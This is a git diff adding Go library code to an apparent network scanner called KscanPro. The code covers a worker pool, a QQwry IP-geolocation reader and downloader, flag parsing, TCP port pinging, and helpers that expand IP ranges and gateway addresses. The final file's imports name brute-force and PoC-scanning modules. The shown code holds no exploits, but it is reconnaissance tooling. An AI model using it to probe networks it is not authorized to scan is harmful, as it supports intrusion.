--- /dev/null
+++ b/lib/pool/pool.go
@@ -0,0 +1,152 @@
+package pool
+
+import (
+ "log"
+ "math/rand"
+ "os"
+ "strconv"
+ "sync"
+ "sync/atomic"
+ "time"
+)
+
+var logger = Logger(log.New(os.Stderr, "[pool]", log.Ldate|log.Ltime))
+
+type Logger interface {
+ Println(...interface{})
+ Printf(string, ...interface{})
+}
+
+func SetLogger(log Logger) {
+ logger = log
+}
+
+//创建worker,每一个worker抽象成一个可以执行任务的函数
+type Worker struct {
+ f func(interface{})
+}
+
+//通过NewTask来创建一个worker
+func generateWorker(f func(interface{})) *Worker {
+ return &Worker{
+ f: func(in interface{}) {
+ f(in)
+ },
+ }
+}
+
+//执行worker
+func (t *Worker) run(in interface{}) {
+ t.f(in)
+}
+
+//池
+type Pool struct {
+ //母版函数
+ Function func(interface{})
+ //Pool输入队列
+ in chan interface{}
+ //size用来表明池的大小,不能超发。
+ threads int
+ //启动协程等待时间
+ Interval time.Duration
+ //正在执行的任务清单
+ JobsList *sync.Map
+ //正在工作的协程数量
+ length int32
+ //用于阻塞
+ wg *sync.WaitGroup
+ //提前结束标识符
+ Done bool
+}
+
+//实例化工作池使用
+func New(threads int) *Pool {
+ return &Pool{
+ threads: threads,
+ JobsList: &sync.Map{},
+ wg: &sync.WaitGroup{},
+ in: make(chan interface{}),
+ Function: nil,
+ Done: true,
+ Interval: time.Duration(0),
+ }
+}
+
+//结束整个工作
+func (p *Pool) Push(i interface{}) {
+ if p.Done {
+ return
+ }
+ p.in <- i
+}
+
+//结束整个工作
+func (p *Pool) Stop() {
+ if p.Done != true {
+ close(p.in)
+ }
+ p.Done = true
+}
+
+//执行工作池当中的任务
+func (p *Pool) Run() {
+ p.Done = false
+ //只启动有限大小的协程,协程的数量不可以超过工作池设定的数量,防止计算资源崩溃
+ for i := 0; i < p.threads; i++ {
+ p.wg.Add(1)
+ time.Sleep(p.Interval)
+ go p.work()
+ if p.Done == true {
+ break
+ }
+ }
+ p.wg.Wait()
+}
+
+//从jobs当中取出任务并执行。
+func (p *Pool) work() {
+ var Tick string
+ var param interface{}
+ //减少waitGroup计数器的值
+ defer func() {
+ defer func() {
+ if e := recover(); e != nil {
+ logger.Println(Tick, param, e)
+ }
+ }()
+ p.wg.Done()
+ }()
+ for param = range p.in {
+ if p.Done {
+ return
+ }
+ atomic.AddInt32(&p.length, 1)
+ //获取任务唯一票据
+ Tick = p.generateTick()
+ //压入工作任务到工作清单
+ p.JobsList.Store(Tick, param)
+ //设置工作内容
+ f := generateWorker(p.Function)
+ //开始工作,输出工作结果
+ f.run(param)
+ //工作结束,删除工作清单
+ p.JobsList.Delete(Tick)
+ atomic.AddInt32(&p.length, -1)
+ }
+}
+
+//生成工作票据
+func (p *Pool) generateTick() string {
+ rand.Seed(time.Now().UnixNano())
+ return strconv.FormatInt(rand.Int63(), 10)
+}
+
+//获取线程数
+func (p *Pool) Threads() int {
+ return p.threads
+}
+
+func (p *Pool) RunningThreads() int {
+ return int(p.length)
+}
diff --git a/lib/pool/pool_test.go b/lib/pool/pool_test.go
new file mode 100644
index 0000000..3f1b4ba
--- /dev/null
+++ b/lib/pool/pool_test.go
@@ -0,0 +1,22 @@
+package pool
+
+import (
+ "fmt"
+ "math/rand"
+ "net/url"
+ "strconv"
+ "testing"
+ "time"
+)
+
+func TestPool_NewTick(t *testing.T) {
+ startTime := time.Now()
+ rand.Seed(time.Now().UnixNano())
+ fmt.Println(strconv.FormatInt(rand.Int63(), 10))
+ elapsed := time.Since(startTime)
+ fmt.Println(elapsed)
+}
+
+func TestParse(t *testing.T) {
+ fmt.Println(url.Parse("114.114.114.114:8080"))
+}
diff --git a/lib/qqwry/qqwry.go b/lib/qqwry/qqwry.go
new file mode 100644
index 0000000..15b8c60
--- /dev/null
+++ b/lib/qqwry/qqwry.go
@@ -0,0 +1,154 @@
+//https://github.com/zu1k/nali
+package qqwry
+
+import (
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "io/ioutil"
+ "log"
+ "net"
+ "os"
+ "strings"
+
+ "golang.org/x/text/encoding/simplifiedchinese"
+)
+
+type QQwry struct {
+ IPDB
+}
+
+var logger = Logger(log.New(os.Stderr, "[qqwry]", log.Ldate|log.Ltime))
+
+type Logger interface {
+ Println(...interface{})
+ Printf(string, ...interface{})
+}
+
+const (
+ // RedirectMode1 [IP][0x01][国家和地区信息的绝对偏移地址]
+ RedirectMode1 = 0x01
+ // RedirectMode2 [IP][0x02][信息的绝对偏移][...] or [IP][国家][...]
+ RedirectMode2 = 0x02
+)
+
+// NewQQwry new database from path
+func NewQQwryFS(fs *os.File) (qqwry *QQwry, err error) {
+ var fileData []byte
+ var fileInfo FileData
+
+ fileInfo.FileBase = fs
+ defer fileInfo.FileBase.Close()
+
+ fileData, err = ioutil.ReadAll(fileInfo.FileBase)
+ if err != nil {
+ return nil, err
+ }
+
+ fileInfo.Data = fileData
+
+ buf := fileInfo.Data[0:8]
+ start := binary.LittleEndian.Uint32(buf[:4])
+ end := binary.LittleEndian.Uint32(buf[4:])
+
+ return &QQwry{
+ IPDB: IPDB{
+ Data: &fileInfo,
+ IPNum: (end-start)/7 + 1,
+ },
+ }, nil
+}
+
+func (db QQwry) Find(query string) (result fmt.Stringer, err error) {
+ ip := net.ParseIP(query)
+ if ip == nil {
+ return nil, errors.New("query keyword should be IPv4")
+ }
+ ip4 := ip.To4()
+ if ip4 == nil {
+ return nil, errors.New("query keyword should be IPv4")
+ }
+ ip4uint := binary.BigEndian.Uint32(ip4)
+
+ offset := db.searchIndex(ip4uint)
+ if offset <= 0 {
+ return nil, errors.New("query keyword not valid")
+ }
+
+ var gbkCountry []byte
+ var gbkArea []byte
+
+ mode := db.ReadMode(offset + 4)
+ switch mode {
+ case RedirectMode1: // [IP][0x01][国家和地区信息的绝对偏移地址]
+ countryOffset := db.ReadUInt24()
+ mode = db.ReadMode(countryOffset)
+ if mode == RedirectMode2 {
+ c := db.ReadUInt24()
+ gbkCountry = db.ReadString(c)
+ countryOffset += 4
+ } else {
+ gbkCountry = db.ReadString(countryOffset)
+ countryOffset += uint32(len(gbkCountry) + 1)
+ }
+ gbkArea = db.ReadArea(countryOffset)
+ case RedirectMode2:
+ countryOffset := db.ReadUInt24()
+ gbkCountry = db.ReadString(countryOffset)
+ gbkArea = db.ReadArea(offset + 8)
+ default:
+ gbkCountry = db.ReadString(offset + 4)
+ gbkArea = db.ReadArea(offset + uint32(5+len(gbkCountry)))
+ }
+
+ enc := simplifiedchinese.GBK.NewDecoder()
+ country, _ := enc.String(string(gbkCountry))
+ area, _ := enc.String(string(gbkArea))
+ result = Result{
+ Country: strings.ReplaceAll(country, " CZ88.NET", ""),
+ Area: strings.ReplaceAll(area, " CZ88.NET", ""),
+ }
+ return result, nil
+}
+
+// searchIndex 查找索引位置
+func (db *QQwry) searchIndex(ip uint32) uint32 {
+ header := db.ReadData(8, 0)
+
+ start := binary.LittleEndian.Uint32(header[:4])
+ end := binary.LittleEndian.Uint32(header[4:])
+
+ buf := make([]byte, 7)
+ mid := uint32(0)
+ ipUint := uint32(0)
+
+ for {
+ mid = GetMiddleOffset(start, end, 7)
+ buf = db.ReadData(7, mid)
+ ipUint = binary.LittleEndian.Uint32(buf[:4])
+
+ if end-start == 7 {
+ offset := ByteToUInt32(buf[4:])
+ buf = db.ReadData(7)
+ if ip < binary.LittleEndian.Uint32(buf[:4]) {
+ return offset
+ }
+ return 0
+ }
+
+ if ipUint > ip {
+ end = mid
+ } else if ipUint < ip {
+ start = mid
+ } else if ipUint == ip {
+ return ByteToUInt32(buf[4:])
+ }
+ }
+}
+
+func ByteToUInt32(data []byte) uint32 {
+ i := uint32(data[0]) & 0xff
+ i |= (uint32(data[1]) << 8) & 0xff00
+ i |= (uint32(data[2]) << 16) & 0xff0000
+ return i
+}
diff --git a/lib/qqwry/tyoe-ipdb.go b/lib/qqwry/tyoe-ipdb.go
new file mode 100644
index 0000000..41e833c
--- /dev/null
+++ b/lib/qqwry/tyoe-ipdb.go
@@ -0,0 +1,100 @@
+//https://github.com/zu1k/nali
+package qqwry
+
+import (
+ "fmt"
+ "os"
+)
+
+// FileData: info of database file
+type FileData struct {
+ Data []byte
+ FilePath string
+ FileBase *os.File
+}
+
+// IPDB common ip database
+type IPDB struct {
+ Data *FileData
+ Offset uint32
+ IPNum uint32
+}
+
+// setOffset 设置偏移量
+func (db *IPDB) SetOffset(offset uint32) {
+ db.Offset = offset
+}
+
+// readString 获取字符串
+func (db *IPDB) ReadString(offset uint32) []byte {
+ db.SetOffset(offset)
+ data := make([]byte, 0, 30)
+ buf := make([]byte, 1)
+ for {
+ buf = db.ReadData(1)
+ if buf[0] == 0 {
+ break
+ }
+ data = append(data, buf[0])
+ }
+ return data
+}
+
+// readData 从文件中读取数据
+func (db *IPDB) ReadData(length uint32, offset ...uint32) (rs []byte) {
+ if len(offset) > 0 {
+ db.SetOffset(offset[0])
+ }
+
+ end := db.Offset + length
+ dataNum := uint32(len(db.Data.Data))
+ if db.Offset > dataNum {
+ return nil
+ }
+
+ if end > dataNum {
+ end = dataNum
+ }
+ rs = db.Data.Data[db.Offset:end]
+ db.Offset = end
+ return
+}
+
+// readMode 获取偏移值类型
+func (db *IPDB) ReadMode(offset uint32) byte {
+ mode := db.ReadData(1, offset)
+ return mode[0]
+}
+
+// ReadUInt24
+func (db *IPDB) ReadUInt24() uint32 {
+ buf := db.ReadData(3)
+ return ByteToUInt32(buf)
+}
+
+// readArea 读取区域
+func (db *IPDB) ReadArea(offset uint32) []byte {
+ mode := db.ReadMode(offset)
+ if mode == RedirectMode1 || mode == RedirectMode2 {
+ areaOffset := db.ReadUInt24()
+ if areaOffset == 0 {
+ return []byte("")
+ }
+ return db.ReadString(areaOffset)
+ }
+ return db.ReadString(offset)
+}
+
+func GetMiddleOffset(start uint32, end uint32, indexLen uint32) uint32 {
+ records := ((end - start) / indexLen) >> 1
+ return start + records*indexLen
+}
+
+type Result struct {
+ Country string
+ Area string
+}
+
+func (r Result) String() string {
+ return fmt.Sprintf("%s %s", r.Country, r.Area)
+}
diff --git a/lib/qqwry/update.go b/lib/qqwry/update.go
new file mode 100644
index 0000000..58d3fa9
--- /dev/null
+++ b/lib/qqwry/update.go
@@ -0,0 +1,112 @@
+//https://github.com/zu1k/nali
+package qqwry
+
+import (
+ "bytes"
+ "compress/zlib"
+ "encoding/binary"
+ "errors"
+ "io/ioutil"
+ "net/http"
+ "os"
+ "time"
+)
+
+const (
+ mirror = "https://qqwry.mirror.noc.one/qqwry.rar"
+ key = "https://qqwry.mirror.noc.one/copywrite.rar"
+)
+
+func Download(filePath string) error {
+ data, err := downloadAndDecrypt()
+ if err != nil {
+ return err
+ }
+ return SaveFile(filePath, data)
+}
+
+func Get(url string) ([]byte, error) {
+ var UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36"
+ Client := http.DefaultClient
+ Client.Timeout = time.Second * 30
+ Client.Transport = &http.Transport{
+ TLSHandshakeTimeout: time.Second * 5,
+ IdleConnTimeout: time.Second * 20,
+ ResponseHeaderTimeout: time.Second * 20,
+ ExpectContinueTimeout: time.Second * 20,
+ }
+ req, err := http.NewRequest(http.MethodGet, url, nil)
+ if err != nil {
+ return nil, err
+ }
+ req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
+ req.Header.Set("User-Agent", UserAgent)
+ resp, err := Client.Do(req)
+ if err != nil {
+ return nil, err
+ }
+ if resp == nil {
+ return nil, errors.New("http response is nil")
+ }
+ if resp.StatusCode != 200 {
+ return nil, errors.New("http response status code is not 200")
+ }
+ defer resp.Body.Close()
+ body, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ return nil, err
+ }
+ return body, nil
+}
+
+func SaveFile(path string, data []byte) (err error) {
+ // Remove file if exist
+ _, err = os.Stat(path)
+ if err == nil {
+ err = os.Remove(path)
+ if err != nil {
+ logger.Println("旧文件删除失败", err.Error())
+ }
+ }
+
+ // save file
+ return ioutil.WriteFile(path, data, 0644)
+}
+
+func downloadAndDecrypt() (data []byte, err error) {
+ data, err = Get(mirror)
+ if err != nil {
+ return nil, err
+ }
+ key, err := getCopyWriteKey()
+ if err != nil {
+ return nil, err
+ }
+
+ return unRar(data, key)
+}
+
+func unRar(data []byte, key uint32) ([]byte, error) {
+ for i := 0; i < 0x200; i++ {
+ key = key * 0x805
+ key++
+ key = key & 0xff
+
+ data[i] = byte(uint32(data[i]) ^ key)
+ }
+
+ reader, err := zlib.NewReader(bytes.NewReader(data))
+ if err != nil {
+ return nil, err
+ }
+
+ return ioutil.ReadAll(reader)
+}
+
+func getCopyWriteKey() (uint32, error) {
+ body, err := Get(key)
+ if err != nil {
+ return 0, err
+ }
+ return binary.LittleEndian.Uint32(body[5*4:]), nil
+}
diff --git a/lib/sflag/sflag.go b/lib/sflag/sflag.go
new file mode 100644
index 0000000..05fa3c7
--- /dev/null
+++ b/lib/sflag/sflag.go
@@ -0,0 +1,160 @@
+package sflag
+
+import (
+ "KscanPro/lib/misc"
+ "flag"
+ "fmt"
+ "io"
+ "os"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+var (
+ autoStringSlice []string
+ stringSpliceParamMap = make(map[*string]*[]string)
+ intSpliceParamMap = make(map[*string]*[]int)
+ intRangeRegx = regexp.MustCompile("^([0-9]+)-([0-9]+)$")
+ proxyStrRegx = regexp.MustCompile("^(http|https|socks5|socks4)://[0-9.]+:[0-9]+$")
+ NetlocRegx = regexp.MustCompile("^([.A-Za-z0-9-]+):\\d+$")
+)
+
+func BoolVar(p *bool, name string, value bool) {
+ flag.BoolVar(p, name, value, "")
+}
+
+func StringVar(p *string, name string, value string) {
+ flag.StringVar(p, name, value, "")
+}
+
+func IntVar(p *int, name string, value int) {
+ flag.IntVar(p, name, value, "")
+}
+
+func StringSpliceVar(p *[]string, name string) {
+ for keyPtr, ptr := range stringSpliceParamMap {
+ if ptr == p {
+ flag.StringVar(keyPtr, name, "", "")
+ return
+ }
+ }
+ var s string
+ flag.StringVar(&s, name, "", "")
+ stringSpliceParamMap[&s] = p
+}
+
+func IntSpliceVar(p *[]int, name string) {
+ for keyPtr, ptr := range intSpliceParamMap {
+ if ptr == p {
+ flag.StringVar(keyPtr, name, "", "")
+ return
+ }
+ }
+ var s string
+ flag.StringVar(&s, name, "", "")
+ intSpliceParamMap[&s] = p
+}
+
+func AutoVarString(p *string, name string, value string) {
+ flag.StringVar(p, name, value, "")
+ autoStringSlice = append(autoStringSlice, "--"+name)
+}
+
+func SetUsage(s string) {
+ flag.Usage = func() {
+ fmt.Print(s)
+ }
+}
+
+func Parse() {
+ fixArgs()
+ flag.Parse()
+ for strPtr, splicePtr := range stringSpliceParamMap {
+ *splicePtr = parseStringSpliceExpress(*strPtr)
+ }
+ for intPtr, splicePtr := range intSpliceParamMap {
+ *splicePtr = parseIntSpliceExpress(*intPtr)
+ }
+}
+
+func parseStringSpliceExpress(expr string) (splice []string) {
+ if expr == "" {
+ return splice
+ }
+ //判断对象是否为多个
+ if s := strings.ReplaceAll(expr, "\\,", "[DouHao]"); strings.Count(s, ",") > 0 {
+ for _, str := range strings.Split(s, ",") {
+ splice = append(splice, strings.ReplaceAll(str, "[DouHao]", ","))
+ }
+ return splice
+ }
+ //判断target字符串是否为文件
+ if regexp.MustCompile("^file:.+$").MatchString(expr) {
+ expr = strings.Replace(expr, "file:", "", 1)
+ }
+ if _, err := os.Lstat(expr); err == nil {
+ fs, err := os.Open(expr)
+ if err != nil {
+ panic(err)
+ }
+ buf, err := io.ReadAll(fs)
+ if err != nil {
+ panic(err)
+ }
+ splice = strings.Split(string(buf), "\n")
+ for i, s := range splice {
+ splice[i] = strings.TrimSpace(s)
+ }
+ return splice
+ }
+ return append(splice, expr)
+}
+
+func parseIntSpliceExpress(expr string) (splice []int) {
+ for _, sv := range parseStringSpliceExpress(expr) {
+ iv, err := strconv.Atoi(sv)
+ if err == nil {
+ splice = append(splice, iv)
+ continue
+ }
+ if intRangeRegx.MatchString(sv) == true {
+ regRes := intRangeRegx.FindStringSubmatch(sv)
+ start, _ := strconv.Atoi(regRes[1])
+ end, _ := strconv.Atoi(regRes[2])
+ if end > start {
+ for j := start; j <= end; j++ {
+ splice = append(splice, j)
+ }
+ continue
+ }
+ }
+ panic(err)
+ }
+ return splice
+}
+
+func NetlocVerification(s string) bool {
+ return NetlocRegx.MatchString(s)
+}
+
+func ProxyStrVerification(s string) bool {
+ return proxyStrRegx.MatchString(s)
+}
+
+func fixArgs() {
+ var newArgs []string
+ for index, value := range os.Args {
+ newArgs = append(newArgs, value)
+ if misc.IsDuplicate(autoStringSlice, value) {
+ if index+2 > len(os.Args) {
+ newArgs = append(newArgs, "")
+ break
+ }
+ if os.Args[index+1][:2] == "--" {
+ newArgs = append(newArgs, "")
+ }
+ }
+ }
+ os.Args = newArgs
+}
diff --git a/lib/tcpping/tcpping.go b/lib/tcpping/tcpping.go
new file mode 100644
index 0000000..689783b
--- /dev/null
+++ b/lib/tcpping/tcpping.go
@@ -0,0 +1,50 @@
+package tcpping
+
+import (
+ "fmt"
+ "net"
+ "runtime"
+ "strings"
+ "time"
+)
+
+var CommonPorts = []int{22, 23, 80, 139, 512, 443, 445, 3389}
+
+func Ping(addr string, port int, timeout time.Duration) error {
+ return connect("tcp", addr, port, timeout)
+}
+
+func PingPorts(ip string, timeout time.Duration) (err error) {
+ for _, port := range CommonPorts {
+ if err = Ping(ip, port, timeout); err == nil {
+ return nil
+ }
+ }
+ return err
+}
+
+func connect(protocol string, addr string, port int, duration time.Duration) error {
+ host := fmt.Sprintf("%s:%d", addr, port)
+ conn, err := net.DialTimeout(protocol, host, duration)
+ if err != nil {
+ return err
+ }
+ defer conn.Close()
+ if (runtime.GOOS == "windows" && (port == 110 || port == 25)) == false {
+ return nil
+ }
+ err = conn.SetDeadline(time.Now())
+ if err != nil {
+ return err
+ }
+ _, err = conn.Write([]byte("\r\n"))
+ if err != nil {
+ if strings.Contains(err.Error(), "forcibly closed by the remote host") {
+ return err
+ }
+ if strings.Contains(err.Error(), "timeout") {
+ return err
+ }
+ }
+ return nil
+}
diff --git a/lib/uri/uri.go b/lib/uri/uri.go
new file mode 100644
index 0000000..f269622
--- /dev/null
+++ b/lib/uri/uri.go
@@ -0,0 +1,379 @@
+package uri
+
+import (
+ "bytes"
+ "encoding/binary"
+ "fmt"
+ "math"
+ "net"
+ "net/url"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+// IsPort checks if a string represents a valid port
+func IsPort(str string) bool {
+ if i, err := strconv.Atoi(str); err == nil && i > 0 && i < 65536 {
+ return true
+ }
+ return false
+}
+
+func ParsePort(str string) int {
+ i, err := strconv.Atoi(str)
+ if err != nil {
+ return 0
+ }
+ return i
+}
+
+func ParseNetlocPort(str string) (string, int) {
+ r := strings.Split(str, ":")
+ if len(r) != 2 {
+ return "", 0
+ }
+ return r[0], ParsePort(r[1])
+}
+
+// IsIPv4 IsIP checks if a string is either IP version 4 Alias for `net.ParseIP`
+func IsIPv4(str string) bool {
+ for i := 0; i < len(str); i++ {
+ if str[i] == '.' {
+ return net.ParseIP(str) != nil
+ }
+ }
+ return false
+}
+
+// IsIPv6 IsIP checks if a string is either IP version 4 Alias for `net.ParseIP`
+func IsIPv6(str string) bool {
+ for i := 0; i < len(str); i++ {
+ if str[i] == ':' {
+ return net.ParseIP(str) != nil
+ }
+ }
+ return false
+}
+
+var (
+ //domainRoot = []string{
+ // "com", "net", "org", "aero", "biz", "coop", "info", "museum", "name", "pro", "top", "xyz",
+ // "loan", "wang", "vip", "eu", "edu", "tech", "cloud", "online", "nrw", "cyou", "dev", "app",
+ // "shop",
+ // //country
+ // "ad", "ae", "af", "ag", "ai", "al", "am", "an", "ao", "aq", "ar", "as", "at",
+ // "au", "aw", "az", "ba", "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", "br",
+ // "bs", "bt", "bv", "bw", "by", "bz", "ca", "cc", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn",
+ // "co", "cq", "cr", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", "dz", "ec", "ee",
+ // "eg", "eh", "es", "et", "ev", "fi", "fj", "fk", "fm", "fo", "fr", "ga", "gb", "gd", "ge", "gf",
+ // "gh", "gi", "gl", "gm", "gn", "gp", "gr", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
+ // "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", "jo", "jp", "ke", "kg", "kh",
+ // "ki", "km", "kn", "kp", "kr", "kw", "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt",
+ // "lu", "lv", "ly", "ma", "mc", "me", "md", "mg", "mh", "ml", "mm", "mn", "mo", "mp", "mq", "mr",
+ // "ms", "mt", "mv", "mw", "mx", "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
+ // "nr", "nt", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", "pm", "pn", "pr", "pt",
+ // "pw", "py", "qa", "re", "ro", "ru", "rw", "sa", "sb", "sc", "sd", "se", "sg", "sh", "si", "sj",
+ // "sk", "sl", "sm", "sn", "so", "sr", "st", "su", "sy", "sz", "tc", "td", "tf", "tg", "th", "tj",
+ // "tk", "tl", "tm", "tn", "to", "tp", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "uk", "us", "uy",
+ // "uz", "va", "vc", "ve", "vg", "vn", "vu", "wf", "ws", "ye", "yu", "za", "zm", "zr", "zw"}
+ //domainRootString = strings.Join(domainRoot, "|")
+ domainRootString = `[a-z]{2,5}`
+ domainRegx = regexp.MustCompile(`^([a-zA-Z0-9][-a-zA-Z0-9]{0,62}(?:\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})*\.(?:` + domainRootString + `))$`)
+)
+
+func IsDomain(str string) bool {
+ if stringContainsCTLByte(str) == true {
+ return false
+ }
+ if ok := domainRegx.MatchString(str); ok == false {
+ return false
+ }
+ return true
+}
+
+func IsNetloc(str string) bool {
+ return IsDomain(str) || IsIPv4(str)
+}
+
+// IsCIDR checks if the string is an valid CIDR notation (IPV4)
+func IsCIDR(str string) bool {
+ _, _, err := net.ParseCIDR(str)
+ return err == nil
+}
+
+// IsIPRanger checks if the string is an valid CIDR notation (IPV4)
+func IsIPRanger(str string) bool {
+ ip1, ip2 := parseIPPairs(str)
+ if ip1 != nil && ip2 != nil {
+ return true
+ }
+ return false
+}
+
+// IsNetlocPort checks if a string is [Domain or IP]:Port
+func IsNetlocPort(str string) bool {
+ r := strings.Split(str, ":")
+ if len(r) != 2 {
+ return false
+ }
+ netloc := r[0]
+ port := r[1]
+ return IsNetloc(netloc) && IsPort(port)
+}
+
+// IsDomainPort checks if a string is Domain:Port
+func IsDomainPort(str string) bool {
+ r := strings.Split(str, ":")
+ if len(r) != 2 {
+ return false
+ }
+ domain := r[0]
+ port := r[1]
+ return IsDomain(domain) && IsPort(port)
+}
+
+// IsIPPort checks if a string is IP:Port
+func IsIPPort(str string) bool {
+ r := strings.Split(str, ":")
+ if len(r) != 2 {
+ return false
+ }
+ ip := r[0]
+ port := r[1]
+ return IsIPv4(ip) && IsPort(port)
+}
+
+func IsProtocol(str string) bool {
+ ok, _ := regexp.MatchString("^[-a-z0-9A-Z]{1,20}$", str)
+ return ok
+}
+
+// IsURL checks if a string is :
+// protocol://netloc/path
+// protocol://netloc:port/path
+func IsURL(str string) bool {
+ if stringContainsCTLByte(str) == true {
+ return false
+ }
+ index := strings.Index(str, "://")
+ if index == -1 {
+ return false
+ }
+ protocol := str[:index]
+ if IsProtocol(protocol) == false {
+ return false
+ }
+ str = str[index+3:]
+ if IsNetloc(str) {
+ return true
+ }
+ if IsNetlocPort(str) {
+ return true
+ }
+ if IsHostPath(str) {
+ return true
+ }
+ return false
+}
+
+// IsHostPath checks if a string is :
+// netloc/path
+// netloc:port/path
+func IsHostPath(str string) bool {
+ index := strings.Index(str, "/")
+ if index == -1 {
+ return false
+ }
+ str = str[:index]
+ if strings.Contains(str, ":") == true {
+ return IsNetlocPort(str)
+ } else {
+ return IsNetloc(str)
+
+ }
+}
+
+func GetNetlocWithURL(str string) string {
+ str = str[strings.Index(str, "://")+3:]
+ return GetNetlocWithHostPath(str)
+}
+
+func GetNetlocWithHostPath(str string) string {
+ host := strings.TrimRight(str, "/")
+ index := strings.Index(str, "/")
+ if index != -1 {
+ host = str[:index]
+ }
+ return GetNetlocWithHost(host)
+
+}
+
+func GetNetlocWithHost(str string) string {
+ return strings.Split(str, ":")[0]
+}
+
+func SplitWithNetlocPort(str string) (netloc string, port int) {
+ foo := strings.Split(str, ":")
+ port, _ = strconv.Atoi(foo[1])
+ return foo[0], port
+}
+
+func RangerToIP(ranger string) (IPs []net.IP) {
+ first, last := parseIPPairs(ranger)
+ return pairsToIP(first, last)
+}
+
+func CIDRToIP(cidr string) (IPs []net.IP) {
+ _, network, _ := net.ParseCIDR(cidr)
+ first := FirstIP(network)
+ last := LastIP(network)
+ return pairsToIP(first, last)
+}
+
+func LastIP(network *net.IPNet) net.IP {
+ firstIP := FirstIP(network)
+ mask, _ := network.Mask.Size()
+ size := math.Pow(2, float64(32-mask))
+ lastIP := toIP(toInt(firstIP) + uint32(size) - 1)
+ return net.ParseIP(lastIP)
+}
+
+func FirstIP(network *net.IPNet) net.IP {
+ return network.IP
+}
+
+func Contains(network *net.IPNet, ip net.IP) bool {
+ i := toInt(ip)
+ return toInt(FirstIP(network)) < i && toInt(LastIP(network)) > i
+}
+
+func SameSegment(ips ...string) bool {
+ if len(ips) == 0 {
+ return true
+ }
+ first := ips[0]
+ _, network, _ := net.ParseCIDR(first + "/24")
+ for _, ip := range ips[1:] {
+ if Contains(network, net.ParseIP(ip)) == false {
+ return false
+ }
+ }
+ return true
+}
+
+// IsIPRanger parse the string is an ip pairs
+// 192.168.0.1-192.168.2.255
+// 192.168.0.1-255
+// 192.168.0.1-2.255
+func parseIPPairs(str string) (ip1 net.IP, ip2 net.IP) {
+ if strings.Count(str, "-") != 1 {
+ return nil, nil
+ }
+ r := strings.Split(str, "-")
+ s1 := r[0]
+ s2 := r[1]
+ if ip1 = net.ParseIP(s1); ip1 == nil {
+ return nil, nil
+ }
+ i := strings.Count(s2, ".")
+ if i > 3 {
+ return ip1, nil
+ }
+ rs1 := strings.Split(s1, ".")
+ rs2 := strings.Join(append(rs1[:3-i], s2), ".")
+ ip2 = net.ParseIP(rs2)
+ if ip2 == nil {
+ return ip1, nil
+ }
+ if toInt(ip1) >= toInt(ip2) {
+ return nil, nil
+ }
+ return ip1, ip2
+}
+
+func pairsToIP(ip1, ip2 net.IP) (IPs []net.IP) {
+ start := toInt(ip1)
+ end := toInt(ip2)
+ for i := start; i <= end; i++ {
+ IPs = append(IPs, net.ParseIP(toIP(i)))
+ }
+ return IPs
+}
+
+// IPToInteger converts an IP address to its integer representation.
+// It supports both IPv4
+func toInt(ip net.IP) uint32 {
+ var buf = []byte(ip)
+ if len(buf) > 12 {
+ buf = buf[12:]
+ }
+ buffer := bytes.NewBuffer(buf)
+ var i uint32
+ _ = binary.Read(buffer, binary.BigEndian, &i)
+ return i
+}
+
+func toIP(i uint32) string {
+ buf := bytes.NewBuffer([]byte{})
+ _ = binary.Write(buf, binary.BigEndian, i)
+ b := buf.Bytes()
+ return fmt.Sprintf("%v.%v.%v.%v", b[0], b[1], b[2], b[3])
+}
+
+func GetGatewayList(ip string, t string) []string {
+ var gatewayArr []string
+ strArr := strings.Split(ip, ".")
+ if t == "b" {
+ for i := 0; i < 255; i++ {
+ gatewayArr = append(gatewayArr, fmt.Sprintf("%s.%s.%d.1", strArr[0], strArr[1], i))
+ gatewayArr = append(gatewayArr, fmt.Sprintf("%s.%s.%d.255", strArr[0], strArr[1], i))
+ }
+ }
+ if t == "a" {
+ for i := 0; i < 255; i++ {
+ for j := 0; j < 255; j++ {
+ gatewayArr = append(gatewayArr, fmt.Sprintf("%s.%d.%d.1", strArr[0], i, j))
+ gatewayArr = append(gatewayArr, fmt.Sprintf("%s.%d.%d.255", strArr[0], i, j))
+ }
+ }
+ }
+ if t == "s" {
+ for i := 0; i < 255; i++ {
+ gatewayArr = append(gatewayArr, fmt.Sprintf("%d.%d.%d.1", i, i, i))
+ gatewayArr = append(gatewayArr, fmt.Sprintf("%d.%d.%d.255", i, i, i))
+ }
+ }
+ return gatewayArr
+}
+
+// stringContainsCTLByte reports whether s contains any ASCII control character.
+func stringContainsCTLByte(s string) bool {
+ for i := 0; i < len(s); i++ {
+ b := s[i]
+ if b < ' ' || b == 0x7f {
+ return true
+ }
+ }
+ return false
+}
+
+func URLParse(URLRaw string) *url.URL {
+ URL, _ := url.Parse(URLRaw)
+ return URL
+}
+
+func GetURLPort(URL *url.URL) string {
+ if port := URL.Port(); port != "" {
+ return port
+ }
+ switch URL.Scheme {
+ case "http":
+ return "80"
+ case "https":
+ return "443"
+ default:
+ return ""
+ }
+
+}
diff --git a/run/run.go b/run/run.go
new file mode 100644
index 0000000..2f32ef8
--- /dev/null
+++ b/run/run.go
@@ -0,0 +1,573 @@
+package run
+
+import (
+ "KscanPro/app"
+ "KscanPro/core/cdn"
+ "KscanPro/core/hydra"
+ "KscanPro/core/pocScan"
+ "KscanPro/core/scanner"
+ "KscanPro/core/slog"
+ "KscanPro/lib/color"
+ "KscanPro/lib/misc"
+ "KscanPro/lib/uri"
+ "fmt"
+ "github.com/atotto/clipboard"
+ "github.com/lcvvvv/appfinger"
+ "github.com/lcvvvv/gonmap"
